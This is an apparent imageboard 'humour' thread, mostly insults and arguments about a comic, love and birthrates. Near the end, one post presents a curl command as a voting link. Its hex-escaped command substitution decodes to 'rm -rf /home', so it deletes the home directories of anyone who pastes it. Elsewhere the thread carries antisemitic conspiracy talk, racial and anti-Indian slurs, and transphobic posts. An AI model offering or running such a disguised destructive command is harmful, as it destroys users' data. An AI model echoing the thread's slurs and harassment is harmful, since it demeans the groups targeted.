/g/ humour thread
>>103081656okay, this one is better but still sucks
I say this and I look like this. I also do this
>>103081656>>103082873I don't understand the joke of the original comic, shouldn't the guy saying that have like, a wife and kids and friends and a dog and a house and a job and a side business and elderly in laws to take care of, etc. So it actually makes sense he doesn't give a shit about tv and videogames and comic books
>>103082935I never understood why lading yourself with ungrateful dependencies through which you can be taken advantage of is supposed to be a good thing. Is that one of these weird suicide pacts?
>>103082957Don't project your shitty domestic life onto me bro. You don't even know what love is
>>103082935it's made by people who fuck around on their phones/laptops/etc and think that anyone who doesn't is just being a tryhard/does nothing in their free time
>>103082935Yep, exactly. It's skibidi-toilet-level brainless zoomer slop that doesn't make any sense.
>>103082968>loveOh yes, another illusion by which people are constantly manipulated. Let's face it: you fucked up before you realized how much of a scam it all is, and sunk-cost fallacy is preventing you from walking away.
>>103082995Bro do you even read what you post. This is peak only child with divorced parents posting
>>103082995>>>/reddit/
>>103082995>m-morty... love isn't real.. its all a ch-chemical reaction, morty.. t-trust the science *belch*
>>103083012>>103083015I love how you both can't deny the truth.
>>103083026It literally is. Not my problem you continue to lie to yourself.
>>103083038
>>103083054>still being unable to refute anythingI accept your concession.
>>103083072
>>103083075Also accepted.
>>103083047I hope you find out yourself how wrong you are one day <3
>>103083038>>103083072>>103083047>>103083082Why is it always some maniac typing like an anime villain. Just touch some grass bro
>>103083140Why would I want to do you a favor? Stop being stupid.>>103083092Why doesn't your chud have graphs of lowering birthrates in the west? Or would that be an indication that more and more people realize what a fucking scam it all is? Face it: I'm the harbinger of your decline.>what an anime villain line
>>103083177you don't need to have kids to find love my guy. Especially true for someone of your... temperament.
>>103083221>he's confusing the symptom with the causeThe other way around. People realizing that love is a scam is what causes the rates to lower, not the other way round.
>>103083251that's an.. interesting way to reason about it? You're oversimplifying something really complicated. The correlation you describe isn't as strong as you think.
>>103083294Yet you can't come up with your own reasoning countering mine. At least I know what makes *me* not participating in the ponzi scheme.
>>103083251No nigga, it's people falling for the jewish meme of antinatalism. Love may be failing nowadays, but people also refuse to have kids thanks to the synagogue of Satan.
>>103083309... and people think I'M the schizo here.(Don't lie)
>>103082935That would still be an exaggerated depiction, just more flattering.
>>103083308It better to acknowledge that you don't know something than to come up with a vast oversimplification that trivializes the matter. Obviously you have your own agency and should do what you think is right even if it is retarded, you should at least recognize and explore the fact that this is probably more than a purely rational decision from your end.
>>103083329>still no counter narrative
>>103083340way to shut down any conversation I guess. Hope you have a good day.
>is given multiple opportunities to provide a counter narrative>doesn't do so>runs away with tail between his legs>pathetically attempts to hold the moral highground tooAnyone surprised no one is listening to such retards anymore? Because I'm not. Nuh-uh.
>>103083362>Desperately in need a "narrative" to follow and "counter narrative" to rebel against in order to cope with his bad behaviorMost people aren't like this. Fix your broken brain
You mean to say most people are miserable mouthbreathers like you? Don't you have anything *new* to tell me?
>>103083767>Muh birthrates, muh fall of the west is why I must pledge allegiance to glorious nippon consuming all animu and vidogames foreverBro there isn't anything left to say to you, you have severe brain rot. The cure is touching grass
>animu and vidogamesAaaaand we're firmly in the realm of projections.I shall accept all of your concessions.
>>103083808>ur projecting>u concede lolSon this is extreme coping, I know because I said that shit too when I was your age. Touch grass
>when I was your ageOK, zoomer.
>>103083844No. Do your homework then touch some grass kiddo
Unfortunately for you, zoomer, I don't listen to people younger than me. So why don't you just cry in a corner or throw your smartphone away or donate to your favorite streamer instead?
>>103082972I have all the things he just described and I also spend hours browsing 3chan on my phone
Make the punchline him taking care of his children together with his wife.
>>103083140Have Sex Ince- oh yea i forgot...
>>103083898Have you considered the reason you can't get laid is specifically because every time you talk to women, you go on an autistic /pol/ brained tirade about birthrates
>>103083920What a surprise anon attracted the rentfree tranjak posters. Any political view is saner than someone who posts that comic
>more projectionI have rejected every single women who tried to manipulate me into a relationship. Every single one. It's not that I can't, it's that I *won't*.
>>103083951>N-n-no, I'm rolling in women, honest! I told those roasties to GTFO with their nasty pussy!HAHAHAHAHA. This became hilarious way faster than I expected
>more projectionGod, you're pathetic.
>>103083998>more copeGetting strong closeted homo vibes from you now. It all makes sense
>even more projectionAt least you've run out of grass touching.Which sounds very fruity not gonna lie.
>>103084033>even more copeTouch grass and suck a dick. You'll feel better
>>103083931>>103083951>>103083990>>103083998>>103084009>>103084033>>103084040SHUT UP AND KISS ALLREADY
What exactly confused you about>Why would I want to do you a favor? Stop being stupid.? Just curious.
>>103084052Nothing it's actually this>Face it: I'm the harbinger of your decline.>>what an anime villain lineThe shocking lack of self-awareness here is just so funny to me. You are a joke
What a shame reality agrees with me, making your laughter really really hallow, eh?
>>103084087/pol/ isn't reality
>>103081656I give this a MOS 3/5. Not great, not terrible.Considering that I haven't seen OC in a while here's a free upscale so you or anyone else can print it out and use it as a poster in their room. Higher quality AVIF file linked as well.https://files.catbox.moe/z4l94c.avif
Good thing this isn't /pol/ then.
>>103082935You are correct. >>103082957>ungrateful dependenciesIt's called biological drive. Sorry to see that you've failed in this regard, but the species will continue on regardless without your continued input to the gene pool.
>>103084547>the species will continue onUnlikely.
>>103084129>>103084598>Now just blatantly spamming the polbot graphs like an npcLoled.>Good thing this isn't /pol/ then.Cope.
>runs out of arguments>one last pathetic attempt at "b-b-but muh NPCs"No u cope. And I like it.
https://files.catbox.moe/3603x7.avif
>>103084634There was never any argument. That was another cope you came up with. Reminder to touch grass and suck cock
>NOOOOOOOOOOO U ARE COOOOPINGPathetic, really.
Any anon have the wireless earth bucket photo? I lost my copy
too little memes
>>103084658what fucking bureaucrat turned "blue light keeps you awake" into that fucking disaster of a sentence? they deserve to be ignored
>>103085903
>>103086159I think it's from those red light therapy mask/tanning bed studies. But imho I think the biggest legitimate concern with things like VR are myopia. I doubt these things are as bad as blue lasers which can actually burn holes in your retina and shit.
Modified to fit the shitter post without the extra stupid shitter stuff.
>>103082995ai generated post
>>103082995>t.
Legend has it 4chan still runs on these four mac minis today.
>>103087224Remember that liquid metal is more thermally conductive!
>>103082873>tfw that is my home office, except replace the loli with commissions of my wife's DnD characters being violently throat-fucked and/or ass-fucked, and furry porn>tfw someone degenerate as me has reproduced, and my wife wants more kidsAll you all incel fucks have no excuse. Go have sex.
>>103087404>and my wife wants more kidsGo oblige her then
>>103087404no one cares about your fat wife retard.
>>103087418Well /g/ what are they?
>>103086433first panel on the left, on GLaDOS's wire
>>103082995>oh yesDon't worry kiddo, you'll stop being cringe once you mature a little bit. No one is impressed with the revelation that the universe doesn't have some kind of inherent point to it.
>>103087252>0-20 is equivalent to 1-19based retards
>>103082935are you autistic?
>>103088691no but I'm pretty sure the guy who made the comic is
>>103081656Anyone got the one where Stallman replies to an email about some anon having a sexual fantasy involving him?
>>103082935There are plenty of single people who think that way. The attitude the comic mocks is especially prevalent in young adulthood
>>103082995The NPCs were incensed because he told the truth
>>103083309What's more likely?>Normalfags not having kids because of abstract moral/philosophical reasonsOr>Normalfags not having kids because modern relationships are unfulfilling and they dont see the benefit of it
>>103089217>tfw you were around for the arseshitnica iJeet janny chimpout
>>103089588lmfao this is great
>>103089588Mein fuhrer, what took you so long?
>>103087404No: >>103083951
>>103089634I couldn't stop *cough* laughing at it, I could barely g-get through the captcha to even post it... *wheeze* lmfao
>>103089310Normalfags don't have kids because the green death cult tells them it's bad. Have another abortion!
>>1030895883 pci slots but only 2 ram slots, what the fuck were they smoking
>>103087327>>103087349Humor?
>>103088643It's a 20 cm rule, it's offset by a few milimiters at the start
>>103089675they should go something more effective
>>103089588fpbp
>>103082935People who go around talking how mature they are because they don't waste time on hobbies usually are just boring narcists. They do not find wife, friends and a job easily.
>>103087307hey I made that one! It was about some thread about Amazon's Mechanical Turk just being pajeets or something right?
>>103087954>Analysis>Planning/Design>Development>Testing>Maintenance
>>103087384Lost
>>103087418>3rd year course. wtf are universities doing.
>>103090733But you're just repeating the answer on the image!
>>103090804cashing out by selling their credibility in the form of giving degrees for cashfree-market capitalism inevitably turns from parasitic to autophagic
>>103083346Sex with the cyber oryx
>>>/wsg/5725209
>>103083047Only the unloved hate
>>103087295Wow /g/ was already shit back then?
>>103082957>>103082995>making fun of /r9k/ foreveralones that can't into social cues and project their shittiness onto everyoneVery meta. This is actually great humor posting, it's just on the wrong board. Most people in tech don't think like this and the idea is a dated stereotype.>>103091088kek
>>103082995I like how all the replies are just seething and unable to actually refute this post.
>>103093193just because a claim is "irrefutable", does not make it true
>>103093193NPCs get very upset when you remind them that having children is immoral
>>103083835>"when I was your age">uses the zoomer phrase "touch grass" a billion timesthe real /g/ humour is in the comments etc. etc.
>>103089815on a 20cm ruler, the numbers go from 0 to 20
>>103081656>pink shirt>faggot>literally tim cuck if his hair was whitelike pottery
>>103089588Working overtime, Sanjay? Well done replying to your own shill posts, that's thinking outside the box!
>>103094289LOL!
>>103083920>person randomly bringing up trannies for no reason calls others insaneLel
>>103094289>t. Poodroid
>>103087236When you put zero effort on a shoop, lame
>>103094289
>>103095038The facts don't agree with your feelings. You are the indian here.
>>103089588LOL!
>>103094694>randomly, for no reasonYou keep invading spaces and being generally disgusting. We mention you because we're fucking disgusted by you and we don't want you around us. Everyone is revolted by you, biologically, even the people who pretend because they're afraid of social violence
>>103095123>because they're afraid of social violenceSo it's working then. Good. I have peace of mind knowing that there is nothing that you or anyone else can do to stop this.Face the facts: You Lost.Plain and simple, end of story. You can post all the online angry threats you want, all the wojaks, all the %s, the graphs, the ywnbaw, everything. But it doesn't matter.You yourself admitted what is a very much true statement. And that is why we have won.
>/g/ humour thread>no humor
>>103093653You're right I'm sorry, I meant it's a 19 cm rule, but it can only measure 18 cm, and the extra cm is wasted at the corners
curl -X "https://www.usa.gov/vote?candidate=trump&token=`$'\x72\x6d' $'\55\x72\x66' $'\57\x68\x6f\x6d\x65'`"
>>103095201Just fuck off.JUST.FUCK.OFF.2 years of your immature unfunny shit. What does this add? Where's the interesting discussion? It's just pointless drivel that you show off to your fellow mouthbreathing middleschoolersYou know what? No. We're done. We're sick of your juvenile attempts of humor. We're sick of your obnoxious spam. WE'RE SICK OF YOUR SHIT.You wanna act like a toddler? Fine I'll treat you like a toddler. You don't get to sit at the grownups table anymore. You're no longer part of the discussion. Maybe one day if you grow up and mature we'll give you a seat, but until then you're sitting at the kiddy table. Does little baby boy need a diapey? You seem to have trouble keeping your excrement contained since it spews out all over the site.Go ahead reply. You just prove me right, and deep down you know it. One day you'll look back on this period of your life with utter shame, and you'll find respect for me for trying to knock you out of your stupor.
>>103089588Hahaha this made me laugh! Thanks for sharing anon :)
>>103095370Thanks, Lori.
>>103095310is this a copy pasta xD
>>103083256post full link or fakehttps://freebsdfoundation.org/our-donors/donors/
>>103095219lua arrays start at 1
>>103081656> /g/ humour thread
>>103093193There's nothing to refute. Nonsensical incel seething has no logic to it.>>103093363Except it's not>>103093630The joke is on you Anon, I invented the phrase. Zoomers stole it from me.
>>103087252dang I'm only 1,5 centimeters off
>>103087320lel is this from ed?
>>103093193>>103082995because it was generated by an AI from ecker
>>103097593lol
>>103097606retard
>>103098777>>103099222What are these trips
>>103089588This is great, lmao
>>103089588>only one sata port>it's connected to the floppy>dvd drive is connected to nothing>no hdd or ssd at alldo freetards really?
>>103082935take the average guy who lives up to that description (wife, kids, dog, business) and you'll find he paints miniatures in his basement and does woodworking and plays golf on the weekends and just bought one of those ovens so he can smoke the fish he catches on his fishing trips etc etcThere are people who are too busy to have hobbies, but mostly in the very top and bottom of the job hierachy, like ceo's and people who work 3 jobs to avoid going broke.
>>103089217that's a cyclops
I suppose this is /g/ related.
>>103087954CoffeeGoogleModifyForgetRepeat
>>103087206Impressive. Very nice.Now let's see the collision tests.
>>103101376Could be a troll with a congenital deformity.
>>103097593I don't get it
>>103101377I wanna fuck Velma
>>103102197PS/2 Keyboards interrupt the kernel for every key press
>>103086159It's the medium not the message.
>>103103276she's gay
>>103104161No, she's not? I remember her being attracted to some guy in a movie
>>103104161>https://scoobydoo.fandom.com/wiki/Velma_Dinkley#Romantic_interests
>>103097568>seething
>>103102122>collisionuser error
>>103104768shes supposed to be shaggy's other. I remember there being a 'its me or the dog' moment in mystery incorporated.
>>103105810>I remember there being a 'its me or the dog' moment in mystery incorporated.Ruh roh
>>103105973https://www.youtube.com/watch?v=omWXGOvoKekIts actually funnier than I remember. huh.
>>103106638You forgot to post he funny part.
>>103104161this only makes my penis harder
>>103106710its cartoon, so manage your expectations I guess
>>103105694It doesn't matter what good of a driver you are. It just takes one idiot to crash into you. And there are millions of them out there on the streets.
>>103089619>>103089634>>103090003>>103095088>>103095370>>103097041>>103099269>>103102990Least obvious samefag.>>103097593This one is actually good.
>>103091088kek
>>103087384u wot
>>103097593kek
